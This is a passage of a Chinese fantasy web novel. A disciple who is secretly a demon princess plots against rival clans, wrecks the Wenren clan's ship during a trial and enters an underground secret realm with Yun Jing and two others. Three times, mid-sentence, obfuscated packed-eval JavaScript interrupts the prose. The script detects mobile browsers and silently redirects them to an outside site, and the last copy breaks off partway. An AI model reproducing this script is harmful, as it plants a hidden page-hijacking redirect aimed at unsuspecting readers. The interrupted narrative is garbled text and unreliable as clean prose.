所有人都知道,魔族祸世,北边血雨腥风,唯有南边堪堪称得上唯一暂存的安定之所。 然而近年来,魔族变动频出,越来越多的探子被发现潜伏在南边的大小仙门中,魔吃人的事件发生得越来越频繁。甚至连灵秋和霍羽也险些惨遭毒手。 江芙这辈子也忘不了那天。 落地即碎的铁剑,被血浸透的衣衫,奄奄一息的师弟和师妹,以及灵秋手腕上狰狞的刀口、一点点流逝的血脉之力与生机…… 生活在庇护之下的南方修士在那瞬间无比深刻地意识到魔族的凶残,就此立下斩魔的誓言。 江芙记得,自从那件事之后,逍遥散人便严令禁止他们走远历练.门派中只有她自己一直以来借着各种外出的名头,背着众人,偷偷溜出胥阳山,四处搜寻邪魔的踪迹,没日没夜的练习着斩杀魔族。 即便如今霍羽每日乐得清闲,灵秋手腕上的伤已经淡得看不出痕迹,当年的事,她也依旧不能释怀。 阳华仙会…… 一想到师妹会在这场仙会上夺得魁首,入选太霄辰宫内门,然后被派往北方,江芙就觉得心脏仿佛被人紧紧捏住,喘不过气来。 师父把灵秋捡回来时她不过七八岁的模样,十年来,江芙将她带在身边,几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368705|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是亲手将她养大。 她不敢想,要是她死在魔族手里…… 除魔卫道已是险象环生,何况还有天命血脉的诅咒……二十岁必死的结局…… 江芙看着灵秋,眼中泛出剔透的光。 “师姐……” 不会的。 她的师妹虽然身怀天命血脉,却天资出众、修为高强,连万丈崖也闯得过,绝不可能出事。 江芙打断灵秋的欲言又止:“魔族诡魅,极擅蛊惑人心。师妹日后若再见到魔物,只管挥剑斩杀,万不可犹豫片刻。” 言罢,她背过身,慌忙用手掌抹了把面颊。 灵秋凝望着她单薄的背影。 有许多次,她也是这样站在江芙身后,看着她偷偷飞出胥阳山,看着她高举起剑,看着她日复一日与魔族不死不休地缠斗。 从最初的恐惧战栗到如今的干脆从容,寒来暑往,布衣被淋漓的鲜血浸透了无数次,执剑之人却从未萌生过半分退意。 因为当年那件事,江芙恨极了魔族。 可她不知道,当年她之所以会割开自己的灵脉,初衷只是为了用灵气和血腥气掩盖身上来不及消散的魔气。 她不知道,当年先出手打斗的并非戮空,而是她。她救兰翘,害得师兄修为尽废,只是因为那戮空率先认出了她的太女身份。十二魔是魔域的叛徒,对她来说,遇之必杀,是过去百年养成的下意识反应。 她不知道,那魔族最后并非死于剑下,而是被她用真身吞噬。 魔族可以通过吞食同类提升修为,她不愿放过任何机会,动心起念,不惜刻意放任师兄被魔气重伤昏迷。 她不知道,其实她才是这世间离他们最近的魔。 灵秋在心底叹出一口气。 院子里,四方天中央,一颗孤星闪着微光。 传说星宿昭示着天人的命运,是以天上的星星总是各有不同。天人命长,星星的命也长。 天人呵。 灵秋轻叹出声。 世间生灵不知凡几,又有谁见过所谓的神仙天宫?倘若所谓的天人肯纡尊降贵,朝下界投来哪怕一瞥,世间又怎会接二连三地上演悲剧。 胸口冷气郁结,脑子里平白响起万丈崖底间宿妄最后的那句嘲讽。 “你说,若是逍遥派的人知道了殿下的身份,他们会作何反应啊?” 作何反应? 想必是怒而诛之吧。 灵秋吞下一口气,上前轻轻拍了拍江芙的肩以示抚慰。 她从魔域跌跌撞撞地闯进人间,入了逍遥派,方才久违的体会到人情,重新尝到一丝活着的滋味。 魔族六百岁成年,灵秋活了快五百年,十年太短,不过是漫长岁月中的沧海一粟。可当她转身回望,一百年的血雨腥风,四百年的迷蒙不清。时间的长河拼命朝前奔涌,狂风恶浪,唯有这十年时光还在静谧地流淌,如同一场酣睡的美梦,让她几乎难以抑制地感到眷恋与贪念。 她非草木,孰能无情。 可诗文里说“天若有情天亦老。”① 她用十年得窃天光,仙魔殊途,逍遥派今日留不住十八岁的凌秋,来日也注定容不得她。 尤其是如今,她已经决意要与宋氏和闻人氏清算。 夜色皎洁,万里之外的东南方,胥阳山静默地伫立在天地间,泛的是流银般的冷光。万籁俱寂。明月夜,山外是千里月明。 阳华仙会,高朋满座,云蒸霞蔚。要在徐悟眼皮底下屠灭一大氏族,真是不容易。 灵秋太久没杀过人,胥阳山的生活太好,好到她差点忘了自己是谁。 魔族的太女大将军,百年间诛杀整个魔域叛军不知凡几,连魔族之人都对她避之不及。 逍遥散人终究错了。 几本经书无法更改她的本性。天道无情,世家无道,太霄辰宫也并非全然立于公正之地。好人不会长命,恶人也不会得到报应,想要的公道只能自己拼上性命去争取,想杀的人只能自己一个个地提刀杀过去。 灵秋伸手触了触空荡的眉心——那里此刻正封印着属于平江的魔气。 万事俱备,如今只差一个时机。 不用着急,阳华仙会结束前,她一定等得到机会。 25.探境风云险象环生(1) “啊啾!” 甲板上,灵秋打了个喷嚏,心底诡异的感觉更甚几分。 “师姐,我们不要去秘境了,现在就回逍遥派好不好?” 兰翘牵着她的裙角,提心吊胆地环顾四周,屏息凝神,脊背绷得笔直,仿佛一只受惊的小兽,眼中满是惶恐与戒备。 自从万丈崖后,兰翘染上梦魇之症,总是对周围一切保持高度警惕的状态,整日整夜蹲守在灵秋屋外,一言不发,任凭谁劝,刮风下雨也绝不挪步。 有几次,逍遥散人将她劈晕带走,不多时她便又会被噩梦惊醒,自个儿翻下床,抹着眼泪重新蹲回去。 这么折腾了好几回,无奈之下,灵秋只得让她搬来和自己一起住。 奈何即便如此,兰翘的梦魇之症依旧不见好,整日吵着要回逍遥派。 众人只当她是因当日之事受惊过度,每每安慰,兰翘却显得愈发焦躁。 “师姐,我们不要在阳华境里,快点走好不好?不要去秘境,也不要去太霄辰宫!” 白茫茫雾气漫上甲板,兰翘看不清师姐的表情,急得快哭了。 灵秋垂手摸摸她的脑袋,安慰道:“我们脚下这条江是阳华境的护境结界,周遭雾气只不过是结界造成的障眼法,不会有事的。” 兰翘紧紧抱住了她的腰,拼命把脑袋埋进她的衣袍里,一语不发,只是微颤,与印象中活泼可爱的模样大不相同。 都是因为闻人氏。 远处气势恢宏的大船,“闻人”二字被滔天的浓雾掩盖。灵秋轻拍师妹的背,紧抿着唇,眼神落在翻卷如云的船帆上,如一汪死水暗藏风暴,压抑着森然的杀意。 最后的试炼在阳华境外的护境结界里举行。 又是秘境,又是江底。唯一不同的是周围数丈高的浓雾。 这样遮天蔽日的雾气,最适合出意外了,不是吗? 灵秋将兰翘哄回船舱,推开舷窗,只见漫天大雾外,闻人氏和宋氏的船缓慢并行着。 不远处,银霜楼的旗帜漂浮在浓白中,船头甲板赫然立着几位太霄辰宫的仙尊。那几人衣着纯白,几乎要与浓雾融为一体。 真是晦气。 凡人以白衣为丧服果然并非全无道理。 她指尖溢出冰冷的符光,正想出手,眉心却微蹙起来,仿佛突然察觉到了什么。 耳后金印开始发烫,随之而来的是一道灼热的视线,落在肩头如针如火,炙得连呼吸都带上一丝燥意。 灵秋微偏过头,眼角冷冷扫了过去——那人靠在对面的船舷上,还在看她,眼神直白不闪不避,毫无半点掩饰。 雾将他的身形遮去大半,十五米外人畜难辨,然而耳后烫人的灼热却早已毫无保留地昭示出他的身份。 该死的云靖。 指尖的符文掐灭在雾里,如被人迎头痛浇下一杯滚水。 灵秋恶狠狠地瞪过去,耳畔忽然响起他的声音:“不是说不想见到我吗?怎么现在倒是一直看着我。” “我看你?”灵秋微眯起眼,“明明是你一直盯着我。” 那头传来一阵愉快的闷笑,很快,那道模糊的身影消失在雾中。 一阵极轻的破风声由远至近,像飞鸟掠过水面,无声而迅疾。 下一瞬,眼前雾气被猛地撕开。 一道黑影从浓雾中飞掠而出,身形修长,衣袂翻飞。如雕翎破云,少年俊美的容颜映入眼帘。额前黑发被雾气微微沾湿,衬得那双眼睛愈发明亮如星。 脚踏凝霜半浮于空中,容貌是俊朗非常,眼神是锋芒暗藏,像一把新出鞘的银剑,带着少年人的傲气与轻狂,任谁一见也顿感惊艳,蓦地愣住了。 云靖弯唇一笑,眸光炽亮,很有几分恣意的张扬:“我躲得好好的,你怎么知道我在看你?分明是你先看我。既然想看,不如大大方方,光明正大地看。” 两人相隔不过寸尺,他却偏用千里同音咒传话,弄得她耳后金印一闪一闪,烫得嚣张。 灵秋蹙眉,偏这时云靖轻“啧”一声,毫无预兆地凑近她,低声道:“怎么脸红了?” 他笑道:“我又不是不乐意让你看。” 说着,将脸送得愈近,逼得灵秋连连往后退出数步,耳尖烧得通红,不知是金印作怪还是别的,抑或是二者皆有。 “你去死吧。我这辈子都不想看见你。”她咬唇,恼羞成怒地骂出一句。 “是么?” 窗纸轻轻一颤,劲风掠入,云靖稳稳落地,黑袍金线如龙鳞游走,随动作起落荡起微微的涟漪。 内衬是暗色云纹,袖口收得极紧,露出骨节分明的手。衣料是上乘丝织,裁剪得体,恰到好处地勾勒出挺拔的肩背与修长的身形。腰间束着的是玄金织锦的系带,利落地收束出腰线,缀了流苏玉牌,剔透玲珑,晃得人眼晕。 似乎自从万丈崖后,他就一改从前服丧般的白衣装扮,一日比一日穿得精致讲究,配上那张好看到张扬的脸,连日来在众女修间引起一波又一波激荡的涟漪,走到哪儿都是人群注目的焦点。 诚如当日所言,这些天来云靖从未主动出现在她面前,然而他的存在感并未因此减损分毫,反而愈加明显。 一开始是某种潜藏在暗处的注视,不是冷,也不含杀意,像滚烫的蜜水洒在背上,带着近乎粘稠的感觉,炙热到令人不由自主地屏住呼吸。 灵秋猛地回头,寂静的院子,空无一人的环廊,自得其乐伫立在湖畔的海棠…… 没有,什么也没有。 火烧般感觉如影随形,如烈日灼心,焦躁地忍受了好一段时间。 又一个清晨,她用同音咒使唤云靖做桂花糕,抱着咒术传送来的玉碟坐在院子中央和七师兄霍羽聊天,陡然间,那种熟悉的感觉再度降临,引导着她抛下师兄,一路追出院子,寻到湖畔。 花叶掩映下,少年仰躺在海棠树上,半倚在粗枝间,一条腿微曲,腰身懒懒斜着,墨发如瀑,散落在枝叶间。 风吹过,满树棠花簌簌而落。花枝微动,他的眉眼随之露出一点,摄人心魄,俊美得几近迷惑。 耳后的金印瞬间滚烫,惹得树下的人不自觉一颤。 四目相撞的瞬间,灼灼沉沉,仿若千言万语压进心底。 灵秋呼吸微顿,接着猛地反应过来。 自那日后,他变得愈发肆无忌惮。每每躲在暗处,目光悄无声息地落在她身上,明目张胆地将她牢锁在视野中。念动咒语,催动她耳后的金印发烫,张扬地提醒她自己就在不远处。 灵秋蹙眉转身,扫视四周庭院——空无一人,什么也没有。 她正心烦意乱,风卷过,耳畔忽然响起少年的带笑的语调:“左侧第三棵树,要是想见我就看过来。” 她猛地站直,强迫自己移开目光。 鬼才想看见你。 背后灼热的视线仍在,甚至更近几步。灵秋僵硬地转过身,第一次感受到搬起石头砸自己的脚是种什么滋味。 第一次,然后是第二次,第三次…… 接着就是今日。 狭窄的船舱内,云靖步步逼近,脑门上写着大大的四个字——登堂入室。 不要脸。 玉牌叮零作响,灵秋不自觉往他腰上扫了两眼,胸口冷气更甚,怒道:“滚出去,不然我让你今日进不了秘境。” 云靖笑:“我说了,想见我就看过来。我可没有出现在你面前,是你主动看我的。” 他目光沉沉地望着她,语言在此刻显得多么苍白。 灵秋飞身跃起,怒攻向他,剑如闪电,招招不留情面。 须臾间,江面上,一道惊浪炸开。 剑光卷起船边水浪,噼里啪啦落下,如一阵急雨簌簌。 闻人氏船舱内,薛成昭被这场落雨惊动,疾步行至舱外,只见一个容貌俊美的少年在甲板上轻轻一点,随即便如一只雨燕,迅速消失在白茫茫的浓雾间。 “好强的剑意!” 薛成昭忍不住往前追出几步,望着少年消失的方向,不可思议地惊叹出声。 “居然在境外就打起来了,看来今年阳华仙会的能人不少啊。真可惜,路上耽搁了些时日,来晚了一步。” 他身侧,一贯潇洒的云海川翘腿躺在船舷上,举起酒壶喝了一大口。 她看向薛成昭,伸手比了个二。 “你这是什么意思?” 薛成昭一贯厌恶酒气,忍不住蹙起眉。 “我的意思是,”云海川露出笑容,“这两个剑修的实力不俗,且均在你我之上,除非他们中的哪个不幸在这雾中撞死,否则今年进太霄辰宫的名额已经被占去两个了。” 言下之意是他的机会渺茫。 薛成昭道:“试炼尚未开始,一切皆有可能。我既存了争取的决心,又何惧路途艰难。况且,能与强者同台竞技,何尝不是一种莫大的幸……” 他话还没说完,又被天上的动静吸引了注意。 一道飞虹划过,紧跟着,只见方才消失的剑光去而复返。这一回,一个身着朴素的少女缓缓落至他身前,整艘船随着她降落的动作向前轻簸了一下。 少女怒目,对着白茫茫的雾气说:“倘若这就是你全部的实力,我想我们不必再打了,立刻滚下来跪在我面前受死,否则别想留半个全尸。” 她的眼睛明净清澈,整个人如同一枝亭亭净植的新荷,随横眉怒目却难掩清隽脱尘、玉质天成。 薛成昭一时看得呆住了。 像是对身后的目光有所感应,少女皱眉,转头瞪向他。二人四目相接,薛成昭忙拱手弯腰,做出恭敬见礼的姿势。 他还没来得及开口自荐,下一瞬,一道绯色剑光突然自浓雾中射出,直直朝这个方向冲来。 刷—— 少女出手将这一剑斩碎,残存的浮光落在薛成昭脚边,甲板上立即出现一道漆黑的裂口。 “对无关之人出手,云靖,你可真有出息。” 云靖? 薛成昭听到这个名字,当即往天上投去一道惊讶的眼神。 莫非是从前太虚宫内赫赫有名的首席大弟子、他唯一的嫡系大师兄、师父成日挂在嘴边的无情道天赋至强——银霜楼的少楼主云靖!? 薛成昭难掩激动,转头看向云海川,对方却是一脸的气定神闲,两眼一眯,酒壶一拿,端得是一副看好戏的姿态。 船舱内突然响起一阵急促的脚步声,天上跟着传来云靖的声音:“我没想伤他,只不过是提醒你,你要打的人是我,莫要因为无关的人分神,否则谁胜谁输可就不一定了。” 少女闻言低头看了看地上焦黑的裂口,环顾四周,目光落到写着“闻人”二字的船帆上,思索片刻,再次飞身跃起,利落地消失在浓雾间。 “凌秋在哪里!?” 过了许久,闻人双双终于从船舱中跑出来,气喘吁吁地抚着胸口,一脸急切地向甲板上的两个人提问。 “表姐,你这是……”薛成昭听到那个如雷贯耳的名字,表情还有茫然,一旁的云海川已经迅速伸出手,轻轻指了指天:“在那儿。” 闻人双双闻言眼神一亮,顾不得其他,提剑便往她指的那个方向飞去。 “表姐!” 眼看她就要消失在浓雾间,薛成昭快跑几步,追到船舷边缘,冲着她的背影大声呼唤。 闻人双双头也不回。 薛成昭转头递给云海川一记眼刀,后者颇为无辜地耸了耸肩:“看什么,日行一善罢了。” 雾气中,灵秋一面与云靖打斗,一面用余光瞄向下方闻人氏的船。 耳畔传来喧嚣的杂音,伴随钟鸣,是仙尊宣布试炼正式开始。 所有人的注意力都移向江面结界,灵秋感受着周遭气场的波动,某一瞬间闪身躲入雾中,以迅雷不及掩耳之势,伸手抛出一个符,直射向闻人氏的船体。 轰—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378746|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下方突然爆发一阵巨响。云靖猛地停下手上动作,惊讶地看向那方,只见江面漩涡聚集,闻人氏的船被江水拖曳着,不受控制地转了个弧度,撞上一侧的峭壁,侧翻进滚滚的江水。 木板的碎裂声夹杂着浪涛声传至上空,江面猛地炸开一道银白的水幕,飞溅而起,像一朵被暴力撕开的浪花。 无数人影翻落,身体撞击在周遭锋利陡峭的山壁上,迸溅出道道鲜红优美的曲线。 有人惊呼着求救,云靖欲飞身上前,灵秋却已在空中飞快动作,几笔画出入境的阵法。 刹那间,天地风云飓变。 狂风骤起,蓝色的阵心逐渐形成一个巨大的漩涡,风云诡谲中,漩涡如同一只巨口,搅弄风云,飞速吞噬起周围的浓雾。 山色显露,四周景象逐渐清晰,此间天地迎来久违的清明。 风越来越狂,吹动两人的衣袍猎猎作响,一片混乱中,云靖看一眼下方被血染红的江面,咬牙往前一跃,一把托握住灵秋的手臂。 强大的吸引力瞬间将两人拉扯进阵中。 不知过了多久,一切终于开始平息。漩涡越变越小,逐渐退化成空气中微不足道的一个黑点。冰蓝色的阵法淡化无踪,四周漂浮止步的雾气转瞬蜂拥直上。浓白迅速消弭了空隙。 江依旧是江,雾依旧是雾,结界依旧是结界。一切归于平静,除了一片狼藉的江面、泛红的江水和空气中若有似无的血腥气,这里……仿佛什么也没有发生。 “凌秋?” 黑暗的洞穴中,云靖跪在地上,一面唤她的名字,一面伸手胡乱地摸索。两三下,他往前探了探,触到一只冰凉的手,毫不犹豫地紧紧握住。 骤然被人捉住,突经剧变薛成昭整个人控制不住地缩了一下,谁料云靖竟立时将他的手握得更牢,出声安慰道:“是我,没事的,别怕。” 呼—— 他指尖倏地燃起一道火,几乎同时,薛成昭激动地开口:“大、大师兄,我……” “你——谁是你师兄!” 薛成昭话没来得及说完,只听云靖惊叫一声,将他的手往外飞快一扔,骂道:“怎么是个男的!?” 说罢,他也不管薛成昭反应如何,摇摇晃晃地站起身,举着指尖的火,急急往四周看了一圈,终于瞧见不远处趴倒在地上的少女,快步跑过去。 灵秋浑浑噩噩地爬起来,一眼就看到云靖指尖炫目的火光。 心神定了定,她伸手拍拍衣裙,啪嗒一声,身上掉出两只竹筒,磕在地上,骨碌碌地滚。 云靖眼疾手快地捞起一只,定睛一看,是枚几近失效的火折子。 他将火折子递给灵秋,与此同时,另一只手也伸向她,同样捏着一枚火折子。 一时间,灵秋和云靖的目光纷纷落到这位陌生人的脸上。薛成昭被两人盯着看,有些羞赧地垂下头,见礼道:“在下登州薛成昭,见过大师兄、凌姑娘。” 他将火折子递到灵秋面前,有些怯道:“偶然捡到姑娘的东西,物归原主。” 灵秋看了看面前两只伸出的手,率先接过薛成昭手上的火折子,道出一句谢,在腰间妥善放好后才抬头去拿云靖手上的那枚。 “凌、凌姑娘不必如此客气!” 薛成昭向她抱手回了一礼,云靖当即冷冰冰地睨他一眼,开口道:“登州薛氏,还以为你们没资格来参加阳华仙会呢?既然来了,不在船上好好待着,跟到这儿来做什么?” “还能为什么,还不都是为了闻人双双那个疯子。” 薛成昭没回答,他身后,一袭玄色劲装的英俊少女自黑暗中徐徐走出。 她皱着眉,单手揉着额头,一面说话,一面拿过腰间藤壶猛灌下一口烈酒。 “海川?”薛成昭转过头,惊讶地看向她:“你也掉进来了?” 他奶奶的我不是和你一起来的吗? 云海川看看薛成昭,又看看剩下的两个人,深吸一口气,直伸出长臂,将挡路的薛成昭往边上一拨,走到几人中间。 刷的一声,她指间也燃出一簇火。整个小天地瞬间被更为广阔的光晕覆盖。 “你是云靖?”二人平视,云海川将眼前的少年上下打量一番,又转过头看向灵秋,“你就是‘古今天资第一人’?” 她长得很高,长身玉立,看她时微微向前俯下身子,唤的是她在同辈修士间的绰号,灵秋抬眼望着云海川,清晰闻得到她身上浓重的酒气,像逍遥散人平日间最爱喝的“竹青”。 也不知道闻人氏的人死了多少?眼前这两个从没见过的又和他们是什么关系?要不要趁在这秘境中的功夫将这二人解决了…… 灵秋目不转睛地看着眼前的少女,脑中想着的全是这些事。 云靖闪身横插进两人中间,将灵秋连同她专注的视线一并挡在身后,蹙眉盯死眼前的云海川,问道:“你又是谁?” 究竟是从哪儿跑出这么多莫名其妙的人? 他言语间的警惕清晰可见,云海川却兀自露出一个笑容,朝薛成昭投去一眼。 “我是云海川。” 她报出自己的名字,眼神一转,伸出左手,指了指云靖身后:“你挡光了。” 云靖闻言急忙转过身,只见灵秋正在腰间摸索,脸色僵硬,额间已蒙蒙地笼上了一层细汗。 他心脏一缩,手下意识动了动,到底没伸出去,只将火举得离她近了几寸。 薛成昭被云海川这么古怪地看了一眼,鼻尖酒气浮动,心下掠过一丝烦躁,终于想起正事,上前解释道:“我二人本是来参加阳华仙会的最后一次试炼,不想目睹表姐闻人双双冲入浓雾,失去踪迹。原本正在雾中寻找,未料行至一处,忽感一阵狂风,接着便被卷入此地。” 他看着云靖和灵秋,却见话音刚落,二人面色都有掩饰不住的冷色。 薛成昭一时惶恐,试探问道:“莫非大师兄和凌姑娘也是如此?” 26.探境风云扑朔迷离(2) 天呐,又一个傻子。 灵秋斜睨薛成昭一眼,连眉都懒得皱一下。 云靖抬眸看她一眼,嘴角勾起一点弧度,向薛成昭道:“你认真的吗?” 声音不大,嘲讽之意却拉满。 “白痴。”云海川白了薛成昭一眼,“什么狂风,那是进入秘境的入境阵法。” “也就是说,我们如今已身在秘境了?”薛成昭露出恍然大悟的神情,“那表姐也有可能在这儿了!” 这一回,轮到灵秋和云靖翻白眼了。 云靖道:“我们对找人没有兴趣。”说着,快步跟上灵秋的步伐。 “大师兄请留步!”薛成昭急急地小跑上前,俯身行礼,“这秘境之中暗无天日,或许危机四伏也不一定,我们不如结伴前行,也好有个照应。” “谁是你大师兄?”云靖嫌弃地扫他一眼。 薛成昭低头从怀中取出一封信,小心翼翼地捧在手心,像捧着什么极贵重的东西。 他将信双手奉到云靖跟前,微微一笑,露出点小白牙,眼神透着殷切:“大师兄,我师承太虚宫清一仙尊,正是师兄唯一的师弟不假呀!” 云靖接过信,草草扫了一眼,眉心一皱。 薛成昭抿了抿唇,有点紧张:“师父说了,到了阳华境有什么事只管找大师兄……师兄我保证,一定听话,绝不托你和凌姑娘的后腿。” 薄薄的信纸上熟悉的笔迹絮絮叨叨,来回叮嘱,字里行间都是一个意思:这个人他带定了,不许推,不许丢。 云靖沉默着,片刻,随手把信收进衣袖,抬手重重按了下薛成昭的肩,沉声道:“走吧。” 薛成昭怔了一下,眼睛顿时亮起来:“真的可以吗大师兄?” 云靖没回话,只抬眼小心翼翼地瞄着身侧的姑娘,想解释又不知道怎么开口。 灵秋对上他的视线,又看一眼乖巧站在一边的薛成昭,神情没有波动,连不屑都懒得。 她翻了个白眼,干脆利落地转身就走,还不忘招呼云海川,跟在她身侧,借着她指间的光探路。 云靖快步跟上去,凑近她左侧。 耳后的金印又开始发烫。 他的由同音咒送来:“不是你想的那样,他真的是我师弟。师命难违,和闻人氏绝没有半分关系,我不是故意的。” “这是你的事,跟我解释什么?”灵秋的声音透过同音咒,不耐烦地传来。 “自然是因为怕你误会。” 云靖眸光一动,认真道:“你可以打我骂我,但是绝不能误会我。两个人相处最怕的就是误会,你我二人之间怎样都好,却总不能因为旁人横生嫌隙,所以我必须得解释清楚。” 灵秋只道:“你能不能把火举正?别抖。” 云靖安静地调整指尖的火,过了片刻,听到同音咒里的声音:“反正我绝不会管闻人氏的死活。” 身边的人面色依旧冷淡,眼睫却快速地扑闪几下,像某种活泼的小动物。 他好脾气地笑,声音绵软得不像话:“好,我也不管。” 一行人前后脚行走在秘境中。 这是一处石窟,幽深而空旷,整个空间被深重的黑暗覆盖,唯一的光源来自云靖和云海川手中的火焰。 与江面两侧的锋利的峭壁不同,石窟中的石壁光滑而平整,如同经历刻意精心的打磨。 四个人先后走到石壁面前,随着光明一点点地侵蚀黑暗,暖黄色的火光落在冰冷的石面上,一寸一寸,直到最后,眼前赫然呈现出一幅巨大的彩色图画。 石壁是连绵的画卷,漆黑的画布被人一笔一划认真填满。 朱霞碧海,浮翠流丹,瑰丽而璀璨的笔触描绘了延绵不绝的绮丽图景,如同夕照末日的浮世绘,又像彩霞漫天的九重天,似人似仙,似雾似花,宛若天光忽坠凝结而成的奇迹,叫所见之人无不深深惊叹着迷。 一时间,四人愣愣地伫立在这巨大的壁画前,静默无言,直到薛成昭“哇”了一声,燃出一张明符,痴迷地凑近石壁,小心翼翼地伸出手想要触碰干涸的颜料,灵秋猛地回过神,眼疾手快地往他手上弹了一个咒。 瞬间,薛成昭发出一声惨叫,迅速收回手,一看被击中的地方,只见细嫩的皮肤上眨眼间便已泛起一团触目惊心的红肿。 仙门世家的公子,哪怕家道中落,又哪里受过这种委屈。薛成昭倒吸一口凉气,瞬间疼得泪花在眼眶里直打转,失声对灵秋喊道:“凌姑娘,你做什么?” 船上初见时的那点惊艳早就消失得无影无踪。他就知道,凌姑娘从一开始就看他不顺眼,连带着大师兄也不在乎他! 薛成昭委屈得要死。 “她是在救你的命。” 身后乍然响起一道男声,几人回头一看,只见一道人影自黑暗中缓缓走出。 那是一位眉目如画的紫袍青年,墨发披散,玉冠松散地束在头顶,衣袂飘逸,颇有几分脱俗不群的气质,宛如远离尘世的谪仙。 随着青年走近,四周温度突然开始急剧下降,灵秋眼底闪过一丝冷色,与云靖迅速交换了个眼神。 空气中接连响起两声轻鸣,眨眼之间,两人各射出一道剑气,闪身挡在了云海川和薛成昭身前,几乎同时,云海川的手上也闪现出一道符篆,将薛成昭拦在了身后。 三个人就这么摆开战斗的姿态,徒留冻得瑟瑟发颤的薛成昭被团团护住,面露茫然。 铮的一声,剑气抵上紫衣青年的脖子,肃杀的剑意瞬间压制了他周身散出的寒气。灵秋刚想开口,紫衣青年当即脸色大变,刷地跪倒,膝盖与地面接触,发出一声响亮的“咚”。 他双手合十举过头顶,开始没皮没脸地大喊大叫:“别杀我,别杀我!我只是个石头精,我什么坏事也没做过啊啊啊!” 一时间,凄惨的叫声充斥整个石窟,紫衣青年再没了什么高深莫测的脱俗气质,哭得一把鼻涕一把泪,毫无形象,看得灵秋太阳穴直跳,听得云靖直皱眉,逼得云海川恨不能一巴掌拍在脑门上。 “石头精?” 好不容易缓过来的薛成昭从三人中走出,捂着手蹲到紫衣青年跟前,问道:“你刚刚说她救我的命是什么意思?” 紫衣青年对他的话置若罔闻,只一个劲地抱着脑袋哭,嘴里一边重复:“我只是个石头精,我没害过人啊啊啊啊!” 薛成昭只好硬着头皮,转身对灵秋道:“他吓得这么厉害,要不你先把剑气移开吧。” 灵秋居高临下地俯视他,满脸写着“你脑子有病”。 这人到底是怎么活到今天的。 紫衣青年听薛成昭这么说,哭得更厉害了。 吵得人头疼。 随机出现的新人物?太霄辰宫还挺会玩儿。 烦人。 灵秋的剑锋偏了一寸,无形的寒光打在紫衣青年脸上,迫使他将眼睛眯成了一条缝。 “要么好好说话,要么死。” 她冷漠地看着他,像是下一秒就要毫无顾忌地划破他的喉咙。 话音刚落,紫衣青年立即噤了声。 他脸上还带着泪水,梨花带雨、可怜巴巴地看着薛成昭,想哭,喉间刚刚溢出个音节,又被脖间的剑吓得生生憋了回去。 “他哭得这么可怜,应该只是这石窟中的小精怪。” 薛成昭再次开口。 言下之意还是要她收手。 “我最讨厌有人在我面流眼泪。”灵秋反将剑气抵得离紫衣青年近了几寸,一字一句道:“不觉得可怜,只觉得恶心。” 紫衣青年闻言赶紧手忙脚乱地擦了擦脸,只留下清晰可见的泪痕,然后接着看向薛成昭,满脸柔弱、满腹委屈。 后者立刻又要替他鸣不平,只不过这回,三人身后,云海川接连抛出几个符。 金色的符咒构成阵法,将紫衣青年团团困住,灵秋这才终于收了剑。 “凌姑娘见笑了。”云海川上前几步将蹲在地上的薛成昭拎起来,拽到一边,一便拽一边朝她摆手解释:“他没见过什么世面。” “看得出来。” 一旁的云靖摇摇头,一把拍在满脸不懑的薛成昭肩上,上前几步,走到结界面前,对紫衣青年道:“现在你能好好说话了吗?” 紫衣青年看他一眼,垂头丧气地点点头。 “我叫阿紫,是千年紫玉修炼成形的精怪,住在这江底秘境已经整整五百年了。” “你一个妖族在阳华境的护境结界里住了五百年?”灵秋瞪他,“你骗傻子呢?” 阿紫立刻撑起身子,急道:“我是妖族,又不是魔。而且从未害过人,怎么不能住在这儿?” 薛成昭道:“那你刚才突然出现又是什么意思?难道我们不能触碰这里的壁画?” “没错。”阿紫道:“我之所以说方才这位姑……女侠救了公子你的性命,是因为绘制出这满墙壁画所用的颜料乃是世间至毒,一旦触碰沾染,药石无医,七步之内必断肠裂心而死。” 薛成昭倒吸凉气:“你可知道这壁画是何人所作?” 一旁的云海川:“此处的出口在哪儿?” 两个人的声音同时响起,彼此对视一眼,都觉得无语。 阿紫先回答薛成昭的问题:“我不知道是谁画了这画,只知道这画有毒,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灵秋没有答话,她隐约觉得还有什么地方十分古怪,一时又说不出个所以然。 似乎不止寒气…… “你放心。”云靖从后面赶上她,两人并肩走在一起。他的语调轻而上扬,冲她粲然一笑,“倘若真出了什么事,我不会扔下你不管的。” “我看该担心这个问题的是你吧。”灵秋看着前面,“别以为我不知道你刚刚同那妖怪说了什么。” “我也是为了早日找到出去的办法,辛苦凌小姐能者多劳。”云靖突然想到什么,嘴角扬起的弧度愈大,快速地眨了眨眼,“阿紫可害怕你了,你知道他怎么说你吗?” “怎么?” “他说你像大魔头。” “是吗?”灵秋突然转过头,朝他微微笑起来。 “我就是大魔头,”她看着他,轻挑了挑眉,言语间满是上扬的愉快,像警告又像玩笑,“少楼主可要小心了。” 